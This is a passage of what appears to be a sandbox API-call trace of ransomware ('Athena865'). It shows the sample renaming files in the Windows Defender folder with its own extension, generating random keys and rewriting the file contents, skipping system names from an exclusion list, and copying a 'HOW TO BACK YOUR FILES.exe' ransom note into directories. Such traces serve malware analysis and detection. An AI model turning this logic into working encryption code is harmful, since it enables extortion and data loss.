(lpString1="MsMpCom.dll", lpString2="..") returned 1 [0038.800] lstrcmpiW (lpString1="MsMpCom.dll", lpString2="windows") returned -1 [0038.800] lstrcmpiW (lpString1="MsMpCom.dll", lpString2="bootmgr") returned 1 [0038.800] lstrcmpiW (lpString1="MsMpCom.dll", lpString2="temp") returned -1 [0038.801] lstrcmpiW (lpString1="MsMpCom.dll", lpString2="pagefile.sys") returned -1 [0038.801] lstrcmpiW (lpString1="MsMpCom.dll", lpString2="boot") returned 1 [0038.801] lstrcmpiW (lpString1="MsMpCom.dll", lpString2="ids.txt") returned 1 [0038.801] lstrcmpiW (lpString1="MsMpCom.dll", lpString2="ntuser.dat") returned -1 [0038.801] lstrcmpiW (lpString1="MsMpCom.dll", lpString2="perflogs") returned -1 [0038.801] lstrcmpiW (lpString1="MsMpCom.dll", lpString2="MSBuild") returned 1 [0038.801] lstrlenW (lpString="MsMpCom.dll") returned 11 [0038.801] lstrcpyW (in: lpString1=0x241e88c, lpString2="MsMpCom.dll" | out: lpString1="MsMpCom.dll") returned="MsMpCom.dll" [0038.801] lstrlenW (lpString="MsMpCom.dll") returned 11 [0038.801] lstrlenW (lpString="Athena865") returned 9 [0038.801] lstrcmpiW (lpString1="MpCom.dll", lpString2="Athena865") returned 1 [0038.801] lstrlenW (lpString=".dll") returned 4 [0038.801] lstrcmpiW (lpString1="MsMpCom.dll", lpString2=".dll") returned 1 [0038.801] lstrlenW (lpString=".lnk") returned 4 [0038.801] lstrcmpiW (lpString1="MsMpCom.dll", lpString2=".lnk") returned 1 [0038.801] lstrlenW (lpString=".ini") returned 4 [0038.801] lstrcmpiW (lpString1="MsMpCom.dll", lpString2=".ini") returned 1 [0038.801] lstrlenW (lpString=".sys") returned 4 [0038.801] lstrcmpiW (lpString1="MsMpCom.dll", lpString2=".sys") returned 1 [0038.801] lstrlenW (lpString="MsMpCom.dll") returned 11 [0038.801] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Defender\\MsMpCom.dll.Athena865") returned 55 [0038.801] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Defender\\MsMpCom.dll" (normalized: "c:\\program files\\windows defender\\msmpcom.dll"), lpNewFileName="C:\\Program Files\\Windows Defender\\MsMpCom.dll.Athena865" (normalized: "c:\\program files\\windows defender\\msmpcom.dll.athena865"), dwFlags=0x1) returned 1 [0038.802] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\MsMpCom.dll.Athena865" (normalized: "c:\\program files\\windows defender\\msmpcom.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0038.802] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=60928) returned 1 [0038.802] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0038.802] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0038.802] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0038.802] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0038.803] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0038.803] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.803] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf100, lpName=0x0) returned 0x17c [0038.805] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf100) returned 0x100000 [0038.807] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0038.808] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0038.808] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.808] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0038.808] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0038.808] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0038.808] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0038.808] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.808] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0038.808] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0038.808] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0038.808] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.808] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0038.808] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0038.809] CloseHandle (hObject=0x17c) returned 1 [0038.809] CloseHandle (hObject=0x154) returned 1 [0038.811] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0038.811] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0038.811] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0038.811] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x144043c0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x144043c0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x94b72470, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MsMpLics.dll", cAlternateFileName="")) returned 1 [0038.811] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0038.811] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0038.811] lstrcmpiW (lpString1="MsMpLics.dll", lpString2=".") returned 1 [0038.811] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="..") returned 1 [0038.811] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="windows") returned -1 [0038.811] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="bootmgr") returned 1 [0038.811] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="temp") returned -1 [0038.811] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="pagefile.sys") returned -1 [0038.811] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="boot") returned 1 [0038.811] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="ids.txt") returned 1 [0038.811] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="ntuser.dat") returned -1 [0038.811] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="perflogs") returned -1 [0038.811] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="MSBuild") returned 1 [0038.811] lstrlenW (lpString="MsMpLics.dll") returned 12 [0038.811] lstrcpyW (in: lpString1=0x241e88c, lpString2="MsMpLics.dll" | out: lpString1="MsMpLics.dll") returned="MsMpLics.dll" [0038.811] lstrlenW (lpString="MsMpLics.dll") returned 12 [0038.812] lstrlenW (lpString="Athena865") returned 9 [0038.812] lstrcmpiW (lpString1="pLics.dll", lpString2="Athena865") returned 1 [0038.812] lstrlenW (lpString=".dll") returned 4 [0038.812] lstrcmpiW (lpString1="MsMpLics.dll", lpString2=".dll") returned 1 [0038.812] lstrlenW (lpString=".lnk") returned 4 [0038.812] lstrcmpiW (lpString1="MsMpLics.dll", lpString2=".lnk") returned 1 [0038.812] lstrlenW (lpString=".ini") returned 4 [0038.812] lstrcmpiW (lpString1="MsMpLics.dll", lpString2=".ini") returned 1 [0038.812] lstrlenW (lpString=".sys") returned 4 [0038.812] lstrcmpiW (lpString1="MsMpLics.dll", lpString2=".sys") returned 1 [0038.812] lstrlenW (lpString="MsMpLics.dll") returned 12 [0038.812] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Defender\\MsMpLics.dll.Athena865") returned 56 [0038.812] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Defender\\MsMpLics.dll" (normalized: "c:\\program files\\windows defender\\msmplics.dll"), lpNewFileName="C:\\Program Files\\Windows Defender\\MsMpLics.dll.Athena865" (normalized: "c:\\program files\\windows defender\\msmplics.dll.athena865"), dwFlags=0x1) returned 1 [0038.812] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\MsMpLics.dll.Athena865" (normalized: "c:\\program files\\windows defender\\msmplics.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0038.813] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4608) returned 1 [0038.813] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0038.813] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0038.813] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0038.813] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0038.814] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0038.814] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.814] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1500, lpName=0x0) returned 0x17c [0038.815] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1500) returned 0x100000 [0038.816] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0038.817] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0038.817] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.817] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0038.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0038.817] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0038.817] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0038.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.817] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0038.817] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0038.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0038.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0038.817] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0038.817] CloseHandle (hObject=0x17c) returned 1 [0038.817] CloseHandle (hObject=0x154) returned 1 [0038.819] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0038.819] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0038.819] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0038.819] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1594a6b3, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x1594a6b3, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x36199360, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x77200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MsMpRes.dll", cAlternateFileName="")) returned 1 [0038.819] lstrcmpiW (lpString1="MsMpRes.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0038.819] lstrcmpiW (lpString1="MsMpRes.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0038.819] lstrcmpiW (lpString1="MsMpRes.dll", lpString2=".") returned 1 [0038.819] lstrcmpiW (lpString1="MsMpRes.dll", lpString2="..") returned 1 [0038.819] lstrcmpiW (lpString1="MsMpRes.dll", lpString2="windows") returned -1 [0038.819] lstrcmpiW (lpString1="MsMpRes.dll", lpString2="bootmgr") returned 1 [0038.819] lstrcmpiW (lpString1="MsMpRes.dll", lpString2="temp") returned -1 [0038.819] lstrcmpiW (lpString1="MsMpRes.dll", lpString2="pagefile.sys") returned -1 [0038.819] lstrcmpiW (lpString1="MsMpRes.dll", lpString2="boot") returned 1 [0038.819] lstrcmpiW (lpString1="MsMpRes.dll", lpString2="ids.txt") returned 1 [0038.819] lstrcmpiW (lpString1="MsMpRes.dll", lpString2="ntuser.dat") returned -1 [0038.819] lstrcmpiW (lpString1="MsMpRes.dll", lpString2="perflogs") returned -1 [0038.819] lstrcmpiW (lpString1="MsMpRes.dll", lpString2="MSBuild") returned 1 [0038.819] lstrlenW (lpString="MsMpRes.dll") returned 11 [0038.819] lstrcpyW (in: lpString1=0x241e88c, lpString2="MsMpRes.dll" | out: lpString1="MsMpRes.dll") returned="MsMpRes.dll" [0038.819] lstrlenW (lpString="MsMpRes.dll") returned 11 [0038.819] lstrlenW (lpString="Athena865") returned 9 [0038.819] lstrcmpiW (lpString1="MpRes.dll", lpString2="Athena865") returned 1 [0038.819] lstrlenW (lpString=".dll") returned 4 [0038.819] lstrcmpiW (lpString1="MsMpRes.dll", lpString2=".dll") returned 1 [0038.819] lstrlenW (lpString=".lnk") returned 4 [0038.819] lstrcmpiW (lpString1="MsMpRes.dll", lpString2=".lnk") returned 1 [0038.820] lstrlenW (lpString=".ini") returned 4 [0038.820] lstrcmpiW (lpString1="MsMpRes.dll", lpString2=".ini") returned 1 [0038.820] lstrlenW (lpString=".sys") returned 4 [0038.820] lstrcmpiW (lpString1="MsMpRes.dll", lpString2=".sys") returned 1 [0038.820] lstrlenW (lpString="MsMpRes.dll") returned 11 [0038.820] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Defender\\MsMpRes.dll.Athena865") returned 55 [0038.820] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Defender\\MsMpRes.dll" (normalized: "c:\\program files\\windows defender\\msmpres.dll"), lpNewFileName="C:\\Program Files\\Windows Defender\\MsMpRes.dll.Athena865" (normalized: "c:\\program files\\windows defender\\msmpres.dll.athena865"), dwFlags=0x1) returned 1 [0038.820] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\MsMpRes.dll.Athena865" (normalized: "c:\\program files\\windows defender\\msmpres.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0038.820] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=487936) returned 1 [0038.820] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0038.821] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0038.821] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0038.821] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0038.821] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0038.821] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.821] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x77500, lpName=0x0) returned 0x17c [0038.823] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x77500) returned 0x2d50000 [0038.840] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0038.841] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0038.841] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.841] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0038.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0038.841] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0038.841] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0038.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.841] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0038.841] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0038.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0038.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0038.841] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0038.845] CloseHandle (hObject=0x17c) returned 1 [0038.846] CloseHandle (hObject=0x154) returned 1 [0038.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0038.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0038.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0038.853] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1594a6b3, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x1594a6b3, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x36199360, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x77200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MsMpRes.dll", cAlternateFileName="")) returned 0 [0038.853] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0038.853] ReleaseMutex (hMutex=0xec) returned 1 [0038.853] CloseHandle (hObject=0xec) returned 1 [0038.853] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Windows Journal" | out: lpString1="C:\\Program Files\\Windows Journal") returned="C:\\Program Files\\Windows Journal" [0038.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5172f8 | out: hHeap=0x4f0000) returned 1 [0038.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c3e0 | out: hHeap=0x4f0000) returned 1 [0038.853] lstrlenW (lpString="C:\\Program Files\\Windows Journal") returned 32 [0038.853] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\8A4086FCF043263881386D7C693F6BA6") returned 0xec [0038.853] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0038.853] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Journal" | out: lpString1="C:\\Program Files\\Windows Journal") returned="C:\\Program Files\\Windows Journal" [0038.853] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0038.853] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Journal\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows journal\\how to back your files.exe"), bFailIfExists=1) returned 0 [0038.854] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows journal\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0038.854] GetLastError () returned 0x0 [0038.854] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0038.854] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x52f908 [0038.854] ReadFile (in: hFile=0xf4, lpBuffer=0x52f908, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x52f908*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0038.854] CloseHandle (hObject=0xf4) returned 1 [0038.854] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.854] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0038.854] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xbc465fe0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc465fe0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0038.854] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0038.854] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0038.854] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0038.854] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xbc465fe0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc465fe0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.854] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0038.854] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0038.854] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0038.855] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0038.855] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0038.855] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0038.855] lstrcmpiW (lpString1="en-US", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0038.855] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0038.855] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0038.855] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0038.855] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0038.855] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1 [0038.855] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1 [0038.855] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1 [0038.855] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1 [0038.855] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0038.855] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1 [0038.855] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1 [0038.855] lstrlenW (lpString="en-US") returned 5 [0038.855] lstrcpyW (in: lpString1=0x241e88a, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0038.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c3e0 [0038.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4e) returned 0x515c90 [0038.855] lstrcatW (in: lpString1="en-US", lpString2="\\" | out: lpString1="en-US\\") returned="en-US\\" [0038.855] lstrcatW (in: lpString1="en-US\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="en-US\\HOW TO BACK YOUR FILES.exe") returned="en-US\\HOW TO BACK YOUR FILES.exe" [0038.855] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Journal\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows journal\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1 [0038.859] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x672edb00, ftCreationTime.dwHighDateTime=0x1d52bfa, ftLastAccessTime.dwLowDateTime=0xda8814c0, ftLastAccessTime.dwHighDateTime=0x1d55181, ftLastWriteTime.dwLowDateTime=0xda8814c0, ftLastWriteTime.dwHighDateTime=0x1d55181, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gap.exe", cAlternateFileName="")) returned 1 [0038.859] lstrcmpiW (lpString1="gap.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0038.859] lstrcmpiW (lpString1="gap.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0038.859] lstrcmpiW (lpString1="gap.exe", lpString2=".") returned 1 [0038.859] 